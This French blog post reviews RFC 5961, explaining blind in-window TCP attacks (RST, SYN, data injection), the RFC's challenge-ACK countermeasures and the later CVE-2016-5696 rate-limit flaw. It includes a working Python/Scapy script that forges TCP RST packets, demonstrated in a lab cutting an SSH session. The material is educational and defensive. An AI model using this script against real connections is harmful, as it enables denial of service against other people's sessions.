RFC 5961 : Improving TCP's Robustness to Blind In-Window Attacks

Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>

Première rédaction de cet article le 27 août 2010. Dernière mise à jour le 10 août 2016

Date de publication du RFC : Août 2010

https://www.bortzmeyer.org/5961.html

Le protocole TCP, à la base de la grande majorité des transferts de données sur l'Internet, souffre depuis longtemps de plusieurs vulnérabilités. L'une d'elles est sa susceptibilité à des attaques par injection de faux paquets <https://www.bortzmeyer.org/tcp-security.html>, qui ne proviennent pas d'une des deux extrémités de la connexion TCP. Un sous-ensemble de ces attaques, les attaques en aveugle, concerne les cas où l'attaquant n'est même pas sur le chemin entre les deux extrémités (on dit qu'il est "*off-path*") et doit deviner les numéros de séquence TCP pour que ses faux paquets soient acceptés. Ce nouveau RFC expose le problème et des moyens d'en limiter les effets. (Il a été depuis partiellement mis à jour par le RFC 9293 [1].)

Le problème des attaques en aveugle était traditionnellement considéré comme de peu d'importance. En effet, pour que le paquet injecté soit accepté comme légitime, il devait reproduire adresses IP source et destination, ports source et destination **et** un **numéro de séquence** situé dans la fenêtre. (Le concept de numéro de séquence TCP est décrit dans le RFC 793, section 3.3. Chaque octet transmis a un numéro de séquence et, à un moment donné, seule une plage de numéros, la **fenêtre**, est acceptable, car envoyée mais non encore reçue et validée.) À partir du moment où le numéro de séquence initial est choisi de manière non prédictible (ce qui n'a pas toujours été le cas, cf. RFC 6528, mais est désormais fait dans toutes les mises en œuvre de TCP), un attaquant aveugle, qui ne peut pas "*sniffer*" le réseau, n'a guère de chance de deviner juste et donc de fabriquer un faux qui soit accepté. (Voir le RFC 4953 pour les détails sur les attaques contre TCP.)

Mais les choses changent. En raison de l'augmentation de capacité des réseaux, les fenêtres TCP voient leur taille accrue, améliorant les chances de l'attaquant. Et certaines sessions TCP sont très longues (par exemple avec BGP ou avec H.323), avec des adresses IP et des ports prévisibles. En profitant de ces

1. Pour voir le RFC de numéro NNN, https://www.ietf.org/rfc/rfcNNN.txt, par exemple https://www.ietf.org/rfc/rfc9293.txt

faiblesses, un attaquant peut alors voir ses faux paquets acceptés, et effectuer ainsi des DoS (si le faux paquet est un `RST`, qui coupe la connexion) ou modifiant les données (si le faux paquet contient des données).

La section 1 du RFC résume ce problème, aggravé par des implémentations comme celles de BGP qui utilisent souvent des ports prévisibles des deux côtés (même du côté client, où ce n'est pas obligatoire). La section 1.2 décrit en détail comment conduire une telle attaque, en prenant l'exemple d'une attaque RST, visant à couper des connexions TCP. La principale difficulté pour l'attaquant est que le numéro de séquence du paquet portant le bit RST doit se situer dans la fenêtre de réception actuelle (mais, bien sûr, l'attaquant a le droit d'injecter plusieurs paquets, pour essayer plusieurs fenêtres potentielles). Les chances du succès du méchant dépendent donc de la taille de la fenêtre. Elle est en général assez facile à déterminer (et cela donne une bonne idée du nombre d'essais qu'il faudra faire). Une fois qu'il a une idée du numéro de séquence utilisé, l'attaquant peut alors commencer à envoyer des paquets RST, incrémentant le numéro de séquence par la taille de la fenêtre, à chaque nouvel essai. Au bout d'un moment, il a de fortes chances de tomber juste. Les calculs complets se trouvent dans l'article de Watson, « "*Slipping in the Window : TCP Reset attacks, Presentation at 2004 CanSecWest*" `<http://osvdb.org/ref/04/04030-SlippingInTheWindow_v1.0.doc>` » et la question est également traitée dans le RFC 4953. La section 1.3 de notre RFC contient également ces calculs de probabilité de réussite.

Le fait que l'attaquant puisse , selon les règles du RFC 793, utiliser n'importe quel numéro de séquence situé dans la fenêtre de réception lui facilite la tâche (en moyenne, seulement 2{}31/$WindowSize essais). Changer TCP pour n'accepter les RST que si le numéro de séquence est exactement celui attendu protégerait sérieusement, obligeant l'attaquant à bien plus d'essais (2{}31 en moyenne). Sans ce changement, avec une fenêtre typique de 32 768 octets, 65 536 paquets suffisent pour une attaque réussie, en moyenne. Et les tailles des fenêtres tendent à augmenter, en raison de l'augmentation de capacité des réseaux, ce qui rend l'attaque de plus en plus facile.

Voici d'ailleurs un exemple d'attaque menée avec un programme en Python utilisant l'excellente bibliothèque Scapy, qui permet de fabriquer facilement des paquets IP de son goût. Ici, je triche un peu en me connectant sur la machine visée, pour relever numéro de port et numéro de séquence. Dans une attaque réelle, le méchant devrait faire une boucle qui essaie toutes les valeurs possibles. Je ne l'ai pas fait ici car je ne veux pas faciliter la tâche des "*script kiddies*" et, de toute façon, Scapy est bien trop lent pour cela (n'oubliez pas que le numéro de séquence se modifie sans cesse donc un attquant lent a peu de chances). Mon but est de montrer cette attaque en pratique, pas de fournir un outil de coupure des sessions TCP. Voici donc le programme :

```
#!/usr/bin/env python

# Good readings:
# http://www.packetstan.com/2010/06/scapy-code-for-bad-ack-reset.html
# http://www.sans.org/reading_room/whitepapers/testing/taste-scapy_33249

from scapy import *
# Recent Scapys:
#from scapy.all import *
import random
import sys

if len(sys.argv) != 6:
    sys.stderr.write("Usage: %s src-ip src-port dst-ip dst-port seq-number\n" % sys.argv[0])
    sys.exit(1)
ip_src = sys.argv[1]
ip_dst = sys.argv[3]
port_src = int(sys.argv[2])
port_dst = int(sys.argv[4])
seq_n = int(sys.argv[5])

ip=IP(src=ip_src, dst=ip_dst)
reset=TCP(flags="R", sport=port_src, dport=port_dst, seq=seq_n)
send(ip/reset, verbose=1)
```

Ce code génère un paquet TCP portant l'option 'R' ("*Reset*"). Ici, la victime va être un PC sous Ubuntu, avec le noyau Linux 2.6.31. 192.168.2.25 se connecte en SSH (port 22) vers 192.168.2.7. Un tcpdump sur 192.168.2.25 nous montre le port source (42696) et le numéro de séquence (1307609026, n'oubliez pas l'option `-S` pour avoir le numéro de séquence brut et pas un numéro renormalisé) :

```
22:27:28.264874 IP 192.168.2.7.22 > 192.168.2.25.42696: \
        Flags [P.], seq 1307608946:1307609026, ack 3382006564, win
 4197, \
        options [nop,nop,TS val 169 ecr 68744645], length 80
```

Je lance le programme d'attaque, sur une machine tierce :

```
% sudo python reset-one-tcp.py 192.168.2.7 22 192.168.2.25  42696 1307609100
.
Sent 1 packets.
```

tcpdump montre le faux paquet arrivant :

```
22:28:51.519376 IP 192.168.2.7.22 > 192.168.2.25.42696: Flags [R], seq 1307609100, win 8192, length 0
```

et la session SSH est coupée :

```
Read from remote host 192.168.2.7: Connection reset by peer
Connection to 192.168.2.7 closed.
```

Notez que je n'ai pas utilisé le numéro de séquence exact, j'ai ajouté 84, pour illustrer le fait qu'il suffit de taper dans la fenêtre, pas forcément pile au bon endroit. Si on veut maintenant adapter ce programme pour une vraie attaque en aveugle, on ne connait pas en général le port source, ni le numéro de séquence (les deux derniers paramètres de la commande `reset-one-tcp.py`) et il faut donc ajouter deux boucles et envoyer beaucoup de paquets.

Il existe bien sûr d'autres protections (que l'obligation d'avoir le numéro de séquence) exact contre cette attaque, variables en coût et en complexité. IPsec, l'authentification TCP-AO du RFC 5925, etc. Des ports source choisis de manière réellement aléatoire aident aussi.

Les sections suivantes décrivent en détail les différentes possibilités d'une attaque en aveugle, ainsi que les méthodes à utiliser pour les rendre moins efficaces. Ainsi, la section 3 décrit les attaques utilisant le bit RST (`ReSeT`) du paquet TCP. Le RFC 793 (section 3.4) précise que la connexion doit être coupée lorsqu'un paquet portant ce bit est reçu (si le numéro de séquence est bien dans la fenêtre). Une mise en œuvre correcte de TCP est donc vulnérable à des paquets envoyés en aveugle, si l'attaquant peut trouver un bon numéro de séquence. Comment limiter les risques de ce déni de service ? La section 3.2 de notre RFC décrit le mécanisme suggéré, remplaçant l'algorithme du RFC 793 : ne couper la connexion que si le paquet entrant a pile le bon numéro de séquence. Si le numéro n'est pas celui attendu, mais figure néanmoins dans la fenêtre, envoyer un accusé de réception. Puisque l'attaquant aveugle ne pourra pas le recevoir, il ne pourra pas confirmer le "*reset*" (contrairement au pair légitime, qui recevra l'accusé de réception et, ayant coupé la connexion de son côté, renverra un RST qui sera, lui, accepté, puisque son numéro de séquence correspondra audit accusé). Un tel algorithme complique donc nettement les choses pour l'attaquant. Son principal inconvénient est qu'un RST légitime, mais qui n'a pas pile le bon numéro de séquence (par exemple parce que le paquet précédent a été perdu) ne coupera pas la session TCP légitime, il faudra attendre la confirmation.

Voici une illustration de ce principe en prenant cette fois comme victime un système NetBSD (noyau 5.0.1). On garde le même programme, 192.168.2.25 se connecte toujours à 192.168.2.7 mais, cette fois, on va diriger les paquets "*Reset*" vers 192.168.2.7. Relevons, avec tcpdump, port (55854) et numéro de séquence (1901397904) :

```
22:35:12.306829 IP 192.168.2.25.55854 > 192.168.2.7.22: P 1901397856:1901397904(48) \
     ack 3669275671 win 347 <nop,nop,timestamp 68860664 86>
```

Et attaquons en tapant un peu au-dessus du bon numéro de séquence :

```
% sudo python reset-one-tcp.py 192.168.2.25 55854  192.168.2.7 22 1901397909
.
Sent 1 packets.
```

Le résultat est :

```
22:36:41.508530 IP 192.168.2.25.55854 > 192.168.2.7.22: \
         R 1901397909:1901397909(0) win 8192
22:36:41.508559 IP 192.168.2.7.22 > 192.168.2.25.55854: \
         . ack 1901397904 win 4197 <nop,nop,timestamp 368 68860664>
```

On voit le paquet d'attaque et le `ACK` de confirmation, disant « Ah, tu m'a envoyé un `RST` pour l'octet 1901397909 mais j'attendais le 1901397904 ». Le vrai pair ne va évidemment pas confirmer le "*ReSeT*" et l'attaque échoue. (Si on envoie pile le bon numéro de séquence, l'attaque réussit quand même. Mais elle est bien plus dure pour l'attaquant, qui ne peut pas profiter de la taille de la fenêtre.)

Et si l'attaquant met le bit SYN (`SYNchronize`) à un ? La section 4 rappelle qu'une fois la connexion TCP établie, un paquet portant ce bit, toujours si le numéro de séquence figure dans la fenêtre, va couper la connexion. La section 4.2 demande donc que, pour tout paquet SYN reçu après l'établissement initial de la connexion, quel que soit son numéro de séquence, on envoie un accusé de réception. L'attaquant aveugle ne le verra pas et ne pourra pas confirmer. Le pair légitime qui avait envoyé un SYN (ce qui ne devrait pas arriver en temps normal et signifie probablement que le pair avait perdu tout souvenir de la connexion, par exemple suite à un redémarrage) enverra alors un RST puisque, pour lui, la session n'est pas ouverte.

Les deux attaques précédentes (RST et SYN) étaient des dénis de service. Mais on peut imaginer une attaque bien pire où le méchant réussit à injecter de fausses données dans une connexion TCP. Elle fait l'objet de la section 5. Si le méchant peut trouver un numéro de séquence dans la fenêtre, ses paquets de données seront acceptés et pourront être présentés à l'application qui utilise TCP (le succès effectif de l'attaque dépend d'un certain nombre de points, et peut dépendre de la mise en œuvre de TCP utilisée).

Pour contrer cette attaque, la section 5.2 demande de durcir les conditions d'acceptation des paquets de données. Davantage de paquets légitimes seront donc rejetés, afin de pouvoir compliquer la vie de l'attaquant.

À noter (section 6) que les recommandations des trois précédentes sections ne sont pas formulées avec la même force. Utilisant le vocabulaire du RFC 2119, les deux premières sont des fortes recommandations ("*SHOULD*") et la troisième seulement une suggestion ("*MAY*"). En effet, une injection de données par un attaquant est bien plus difficile (car les vraies données finiront par arriver, avec un numéro de séquence légèrement différent, ce qui peut mener TCP à refuser soit les fausses, soit les vraies) et ne justifie donc pas d'imposer des contre-mesures qui peuvent mener au rejet de paquets légitimes.

Dernier conseil, celui de la section 7, la nécessité de limiter la quantité d'accusés de réception (`ACK`) émis. Avec les contre-mesures des sections 3 à 5, le nombre de paquets ACK va augmenter. La section 7

suggère donc de les limiter, par exemple à dix ACK de confirmation pour toute période de cinq secondes (et que ces chiffres soient réglables par l'administrateur système, variable sysctl `net.ipv4.tcp_challenge_ack_limit` sur Linux).

On notera que le RFC ne précise pas que le compteur du limiteur doit être **par connexion** (comme dans le RFC 6528). Résultat, au moins chez Linux, c'est un compteur global, ce qui peut servir à communiquer des informations cruciales pour aider l'attaquant (vulnérabilité CVE-2016-5696, décrite dans l'article « "*Off-Path TCP Exploits : Global Rate Limit Considered Dangerous*" <http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf> »). Deux leçons à en tirer : la sécurité, c'est difficile (corriger une bogue peut en ajouter d'autres) et la limitation de trafic, parce qu'elle change le trafic (évidemment), peut avoir des conséquences imprévues. Un nouvel Internet-Draft <https://datatracker.ietf.org/doc/draft-lvelvindron-ack-throttling/> a été proposé, discutant de ce problème et des solutions.

En attendant, un truc possible pour limiter les dégâts de cette faille sur Linux serait de faire :

```
echo $RANDOM > /proc/sys/net/ipv4/tcp_challenge_ack_limit
```

mais de le faire souvent : l'attaque peut prendre bien moins d'une minute. (Je n'ai pas testé ce truc, dû à x0rz <https://twitter.com/x0rz>.) Une solution analogue (avoir une limite variant de manière aléatoire) est dans un patch du noyau Linux <https://github.com/torvalds/linux/commit/75ff39ccc1bd5d3c455b6822ab09e533c551f758>.

Les recommandations de notre RFC 5961 modifient légèrement le protocole TCP. Cela nécessite donc une section 8, décrivant les problèmes de compatibilité qui peuvent se poser entre deux mises en œuvre de TCP, l'une conforme à notre nouveau RFC 5961, l'autre plus ancienne. Normalement, les modifications du protocole sont 100 % compatibles avec le TCP existant. La section 8 décrit toutefois un cas limite où la coupure d'une connexion nécessitera un aller-retour supplémentaire.

D'autre part, le succès complet des contre-mesures décrites dans ce RFC impose qu'elles soient déployées **des deux côtés**. Une mise en œuvre moderne de TCP parlant à un vieux pair ne fournirait pas une protection complète.

Dernier problème avec les nouveaux algorithmes : le cas des "*middleboxes*", ces équipements qui se mettent sur le trajet de deux machines IP qui communiquent et qui brisent souvent la transparence du réseau (par exemple les pare-feux). La section 9 examine les problèmes qu'elles peuvent poser. Par exemple, certains équipements ré-envoient le RST pour le compte du vrai pair TCP (section 9.1) et, s'ils ne mettent pas en œuvre les recommandations de ce RFC, peuvent ne pas traiter correctement le ACK de demande de confirmation. Ce genre de problèmes survient souvent lorsqu'une "*middlebox*" est « ni chair, ni poisson », ni un pur routeur transparent aux paquets de la couche 4 (TCP), ni un vrai pair TCP. Autre exemple cité (section 9.3), un équipement intermédiaire qui, en voyant passer le RST, supprimerait toute l'information associée à cette connexion TCP. Le ACK de demande de confirmation pourrait alors être jeté, et ne recevrait donc pas de réponse, laissant ainsi une connexion TCP ouverte.

Enfin, la traditionnelle section « "*Security Considerations*" » (section 10) synthétise l'ensemble des questions liées à ces contre-mesures. Elle rappelle notamment que le problème traité par ce RFC ne concerne que les attaques en aveugle, typiquement lorsque l'attaquant n'est **pas** sur le chemin des paquets. S'il l'est, par exemple si l'un des deux pairs TCP est sur un réseau Wi-Fi public, les contre-mesures des sections 3 à 5 ne s'appliquent pas, car elles peuvent facilement être contournées par un attaquant en mesure de regarder les paquets, et de voir quel est le numéro de séquence à utiliser. Ce fut le cas par

exemple dans les attaques menées par Comcast contre ses propres clients <http://www.eff.org/wp/packet-forgery-isps-report-comcast-affair> ou bien dans celles perpétrées par la dictature chinoise <http://www.cl.cam.ac.uk/~rnc1/ignoring.pdf>.

Même dans le cas d'une attaque en aveugle, les contre-mesures de notre RFC n'empêchent pas l'attaque, elles la rendent simplement beaucoup plus difficile. Un attaquant chanceux peut donc encore réussir, même contre des implémentations de TCP parfaitement à jour. La section 10 rappelle (vœu pieux) que la seule vraie protection serait de généraliser IPsec (par exemple avec l'ESP du RFC 4303).

D'autre part, ce RFC 5961 ne traite que les attaques faites uniquement avec TCP mais ICMP fournit aux attaquants aveugles d'autres possibilités (traitées dans le RFC 5927). Une mise en œuvre sérieuse de TCP doit donc traiter également ces attaques ICMP.

Aucun médicament n'est sans effet secondaire et c'est également le cas ici. Les contre-mesures de notre RFC peuvent créer des possibilités d'attaque par réflexion, si l'attaquant déguise son adresse IP : des paquets comme l'ACK de demande de confirmation seront alors envoyés à un innocent. Le RFC estime ce problème peu grave car il n'y a pas amplification : l'attaquant pourrait donc aussi bien viser directement la victime.